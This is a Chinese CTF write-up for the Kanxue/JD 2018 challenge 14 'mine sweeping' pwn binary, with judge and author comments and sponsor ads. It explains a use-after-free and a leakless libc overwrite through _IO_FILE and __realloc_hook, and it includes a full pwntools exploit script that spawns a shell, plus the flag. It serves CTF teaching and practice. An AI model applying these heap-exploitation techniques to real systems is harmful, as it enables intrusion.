看雪.京东 2018 CTF 第十四题 PWN-mine sweeping 点评与解析
周末快乐~
第十四题结束了,快来看看排名发生什么变化了吧!
第十四题作者markak 以被9人攻破的成绩,位列第5名。
第14题过后,攻击方排名如下:
最后一题目前正在进行时,
究竟排名还是否会浮动呢?
最后排名会是怎样呢?
真的是非常期待啊!
看雪版主&评委 netwind 点评
题目是个存在漏洞的简化版的扫雷游戏,进入游戏后有三种功能,分别是explore(插旗)back(暂停游戏,回到主菜单) out(退出游戏,回到主菜单)。当用户退出游戏回到主菜单的时候,没有把控制指针置零,存在明显的UAF漏洞。此题主要难点是没有办法泄露libc信息,但可以通过增加或是减掉固定偏移来实现getshell,是一道非常不错的题目。
看雪.京东 2018 CTF 第十四题 作者简介
markak
bbs.pediy.com/user-752237
第十四题出题者简介:
神秘
看雪.京东 2018 CTF 第十四题 设计思路
题目是个简化版的扫雷, 运行之后有四个简单的选项,分别是开始游戏,提交bug,查看帮助和退出。进入游戏后有三种功能,分别是explore(插旗)back(暂停游戏,回到主菜单) out(退出游戏,回到主菜单)。
题目需要提供libc,并且运行于ubuntu 14(ubuntu 16运行题目没法解出来)。当用户退出游戏回到主菜单的时候,没有把控制指针置零,是个明显的UAF漏洞。但是没有办法leak libc信息。这个是主要的难点。
但是即使我们没法leak libc地址,我们依旧可以通过增加或是减掉固定偏移来实现getshell。
1. 首先开始游戏,然后退出游戏返回到主菜单。
2. 进入留言,malloc一个控制块大小的信息(0x30),设置控制结构里的存放用户输入信息的指针后俩位为零,即指向控制结构地址,虽然我们不知道完整的地址。
3. 继续留言,malloc一个大与large bin大小的空间,产生一次 malloc_consolidate ,使原先被释放的 fastbin 合并起来,这样在在控制堆块的第一个指针指向了 main_arena 中unsortbin 的地址。
4. 通过挖雷和插旗我们可以准确的修改内存中的字节,(这里需要一点爆破,因为有时候如果我们要挖雷的地方存在雷包,那么游戏就结束了。) 我们可以根据存在于控制结构unsortbin 地址和想要写入地址的偏移,准确的修改纪录步数指针为要写入的地址,然后再次根据地址内的偏移,再相对的增加减少内存中的值,来实现修改的目的。
脚本里利用的主要是修改 __dl_find_dso_for_object 的got表地址为 magic gadget 的地址,该函数在exit函数中被调用,由于该函数的got在libc中,故不受 Full RELRO 的影响。
看雪.京东 2018 CTF 第十四题解析
本解析来自看雪论坛 qwertyaa
好像这次比赛5道pwn题,除了第一道都可以用house_of_orange中修改_IO_FILE的方法做... ...
分析程序
这个程序是个扫雷小游戏,可以提反馈。
这里面主要有unk_204018是struct,根据其内存中的先后顺序,可依次将变量命名为step(指针,指向一个用于显示步数指针),played(是否玩过),cnt(指向一个8×8数组,每次标记是否为地雷都会在对应位加减1),isWin(表示当前是否胜利),hasMine(指向一个8×8数组,描述对应位置是否有雷),name(指针,指向一个长度0x10的用于记录获胜者名字的指针)。
程序中除了说明中有的'0'、'1'用于标记是否为地雷外还有'2'、'3'开启/关闭每次操作后步数+1。
且进入游戏后有三种操作"explore"(输入说明中的x、y、z)、"back"(返回主菜单)、"out"(退出游戏)。
如下文所述,由于没有自动补上'\0',所以上述操作最好在末尾加上一个空格保证正确。
寻找漏洞
首先我们可以发现反馈处是这么写的:
printf("input the length of your feed back:");
size = getInt();
buf = (char *)malloc(size);
readBuf(buf, size);
free(buf);
话说这个逻辑就是传说中的<a onclick="alert('清理完成!')">清除缓存</a>吗... ...
这里的size可以为任意大小,但是申请失败后readBuf肯定不能读任何东西(不然程序马上退出了),不写的话最后free(0)回到原点。
然后,readBuf不会溢出,但使得内部的每一位都可写(包括最后一位,除了不能写字符'\n'),且可以随时停止输入下一字节。
__int64 __fastcall readBuf(char *buf, unsigned int size)
{
unsigned int i; // [rsp+1Ch] [rbp-14h]
char chr; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; size > i; ++i )
{
read(0, &chr, 1uLL);
if ( chr == 10 )
break;
buf[i] = chr;
}
return i;
}
这里不会将输入内容的后一位赋值为0,但是程序中的输出似乎除了一处马上exit的(输出的是step)以外没有什么可以泄露基址信息的。
这里不少结构都有未初始化的毛病,比如在一开始我们反馈bug,把isWin对应处改为非0值,接下来就可以使得逻辑运行到“请输入英雄的大名”处,不过这没什么用。
另外这题够损服务器的,除了任意malloc可以使服务器内存所剩无几外,由于没有将hasMine清零,通过一开始写一个较长的反馈或者三次进入、退出游戏就可以使服务器进入死循环狂吃CPU。(由于随机产生各处的是否有雷时,一旦一开始的hasMine中为0处不足30个,程序就会认为始终没有随机出足够的雷而死循环。这里的随机算法不是怎么好,关于如何优化可以参见《算法导论》。)
这里的"out"功能在free后没有把指针置零,不过由于这个buffer不大,会进入fastbin,played所在位置还是会保持为0,所以正常操作不会触发UAF,但是如果在一次out后提交一个长度恰好为0x30(稍微小一点也可以)的bug,并且输入一定长度的内容覆盖掉free后的played数值,就可以造成UAF。
此外这题没有了前几题都有的alarm,给了我们更多的时间进行攻击。
进行攻击
由于这道题似乎没法泄露任何一个地址,我们必须采用别的方法进行攻击。
首先在played后的是cnt,由于第一次进入游戏前堆没有被使用,这些malloc获取的地址相对于堆的偏移是固定的,我们可以把cnt的低位改成step在堆中的位置(0x10)。这样通过标记一个点为炸弹,我们可以调整step所指向的地址。
而如果我们提交一个较大的反馈,申请这样的空间可以使得malloc触发malloc_consolidate,接下来step指向的内容就会是libc里关于smallbins的一个指针了。
大概如下操作:
p.sendlineafter("$ ","1")
p.sendlineafter("* \n----------------------","out ")
allocFree(0x1000,"")#trigger malloc_consolidate
allocFree(0x30,p64(0)+p64(1)+p8(0x10))#rewrite mineInfo to trigger UAF
allocFree(0x1000,"")
p.sendline("1")
然后我们就可以通过标记炸弹来加减step指针,通过"explore \n1,1,2,\n"来加减指针对应的位置。这些改变都是对一个byte而言的,所以我们可以把一个ptr的改变拆分成对多个byte的改变。
通过改变step指针,和改变其指向的内容,我们几乎可以做到将libc的任意可写处的byte值加/减一个特定数。
由于模意义下的加法满足消去律,所以定义x为原来相对libc的偏移+x=改变后相对libc的偏移,则libc基址的偏移+原来相对libc的偏移+x=libc基址的偏移+改变后相对libc的偏移,但是跨byte间的进位是做不到的,由于随机基址的十六进制下后3位都是0,而相对基址的偏移一般不超过5位,所以基本上只有十六进制下倒数第5位(实际的第3个byte)有进位问题。
避免进位需要一开始随机基址的十六进制下倒数第四位不能是一些值才行,不过如果对指针的改变不大,这个影响就不大了。经实际测试,我的exp中由于_IO_FILE结构体和main_arena地址比较接近,所以攻击成功率还是挺大的。(当然由于要一个一个的加,攻击速度上较慢。)
我选择修改的是_IO_list_all所指向的原始_IO_FILE结构体(类似于house_of_orange),这里出于速度考虑,可以将原来的"/bin/sh\x00"改成简单的"sh\x00",然后由于jump_table指向的内容在data.rel.ro内,所以要直接改掉jump_table,由于只能加减,必须要修改一处本身为libc基址的偏移+特定值的地方作为新的jump_table,我选择修改的是__realloc_hook。(由于一次运行后__malloc_hook已经被置空,我又不会在这题里leaking address,所以不能简单地通过修改__malloc_hook来getshell)。
然后,输入"out "使程序调用free函数用以触发double free异常来getshell。接下来就可以得到flag(flag{07bcb1e4f10d6274092efdb0b2cdcfba9})。
完整exp如下:
#coding:utf-8
from pwn import *
import sys
context.arch = 'amd64'
if len(sys.argv) < 2:
getCur=0x3C4BA8#address for ubuntu16
oripos=0x85A00
dlc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./minesweep')
else:
dlc=ELF('./libc.so.6')
getCur=0x3C17E8#smallbinPtr
oripos=0x83B50#original val on __realloc_hook
p = remote(sys.argv[1], int(sys.argv[2]))
xpos=0
def allocFree(size,content):
p.sendlineafter("$ ","2")
p.sendlineafter("feed back:",str(size))
p.sendline(content)
def matainTimes(times,x,y):
for i in range(times):
p.sendline("explore ")
p.sendlineafter("input x,y,z",str(x)+","+str(y)+",1,")
def modifyTimes(times):
for i in range(times):
p.sendline("explore ")
p.sendlineafter("input x,y,z","1,1,2,")
p.sendline("explore ")
p.sendlineafter("input x,y,z","1,1,3,")
def maintainHelper(pos,a,b):
if a<b:
matainTimes(b-a,1,pos+1)
elif a!=b:
matainTimes(b+0x100-a,1,pos+1)
def maintainPtr(a,b):
p.info("From "+hex(a)+" to "+hex(b))
maintainHelper(0,a&0xff,b&0xff)
maintainHelper(1,(a>>8)&0xff,(b>>8)&0xff)
maintainHelper(2,(a>>16)&0xff,(b>>16)&0xff)
def ptrHelp(a,b):
if a<b:
modifyTimes(b-a)
elif a!=b:
modifyTimes(b+0x100-a)
def chxpos(pos):
global xpos
maintainPtr(xpos,pos)
xpos=pos
def chPtr(a,b):
global xpos
p.info("When "+hex(xpos)+" from "+hex(a)+" to "+hex(b))
ptrHelp(a&0xff,b&0xff)
maintainPtr(xpos,xpos+1)
ptrHelp((a>>8)&0xff,(b>>8)&0xff)
maintainPtr(xpos+1,xpos+2)
ptrHelp((a>>16)&0xff,(b>>16)&0xff)
xpos+=2
p.sendlineafter("$ ","1")
p.sendlineafter("* \n----------------------","out ")
allocFree(0x1000,"")#trigger malloc_consolidate
allocFree(0x30,p64(0)+p64(1)+p8(0x10))#rewrite mineInfo to trigger UAF
allocFree(0x1000,"")
p.sendline("1")
xpos=getCur
chxpos(dlc.sym['_IO_list_all']+0x20)#build IO_file
chPtr(0x86,ord('s'))
chxpos(dlc.sym['_IO_list_all']+0x21)
chPtr(0x20,ord('h'))
chxpos(dlc.sym['_IO_list_all']+0x22)
chPtr(0xad,0)
chxpos(dlc.sym['_IO_list_all']+0x20+0x20)
chPtr(0,2)
chxpos(dlc.sym['_IO_list_all']+0x20+0x28)
chPtr(0,3)
chxpos(dlc.sym['_IO_list_all']+0x20+0x8)
chPtr(0,0x61)
chxpos(dlc.sym['_IO_list_all']+0x20+0xd8)
posb=dlc.sym['__realloc_hook']
chPtr(dlc.sym["_IO_file_jumps"],posb-3*8)
chxpos(posb)
chPtr(oripos,dlc.sym['system'])
p.info("fin")
p.sendlineafter("* \n----------------------","out ")#trigger abort
p.interactive()
关于libc
我装了一个ubuntu14.04后发现libc还是不一样,不过没关系,版本号接近时将当前libc目录添加到LD_LIBRARY_PATH中就可以替换libc。(不接近时,例如ubuntu18替换ubuntu16的libc、ubuntu16替换ubuntu14的libc会有段错误产生。)
另外关于main_arena中的偏移,它们相对main_arena的偏移一般是不会变的,而IDA中__malloc_hook后的dword_***就是main_arena本身的偏移,利用这点,其实也不是必须要用ubuntu14.04调试。
合作伙伴
京东集团是中国收入最大的互联网企业之一,于2014年5月在美国纳斯达克证券交易所正式挂牌上市,业务涉及电商、金融和物流三大板块。
京东是一家技术驱动成长的公司,并发布了“第四次零售革命”下的京东技术发展战略。信息安全作为保障业务发展顺利进行的基石发挥着举足轻重的作用。为此,京东信息安全部从成立伊始就投入大量技术和资源,支撑京东全业务线安全发展,为用户、供应商和京东打造强大的安全防护盾。
随着京东全面走向技术化,大力发展人工智能、大数据、机器自动化等技术,将过去十余年积累的技术与运营优势全面升级。面向AI安全、IoT安全、云安全的机遇及挑战,京东安全积极布局全球化背景下的安全人才,开展前瞻性技术研究,成立了硅谷研发中心、安全攻防实验室等,并且与全球AI安全领域知名的高校、研究机构建立了深度合作。
京东不仅积极践行企业安全责任,同时希望以中立、开放、共赢的态度,与友商、行业、高校、政府等共同建设互联网安全生态,促进整个互联网的安全发展。
CTF 旗帜已经升起,等你来战!
扫描二维码,立即参战!
✎看雪.京东 2018 CTF
看雪.京东 2018 CTF 第八题 薛定谔之猫 点评与解析
看雪.京东 2018 CTF 第九题 PWN-羞耻player 点评与解析
看雪.京东 2018 CTF 第十一题 PWN-3pigs 点评与解析
看雪2018安全开发者峰会
2018年7月21日,拥有18年悠久历史的老牌安全技术社区——看雪学院联手国内最大开发者社区CSDN,倾力打造一场技术干货的饕餮盛宴——2018 安全开发者峰会,将在国家会议中心隆重举行。会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。此外峰会将展现当前最新、最前沿技术成果,汇聚年度最强实践案例,为中国软件开发者们呈献了一份年度技术实战解析全景图。
戳下图↓,立即购票,享5折优惠!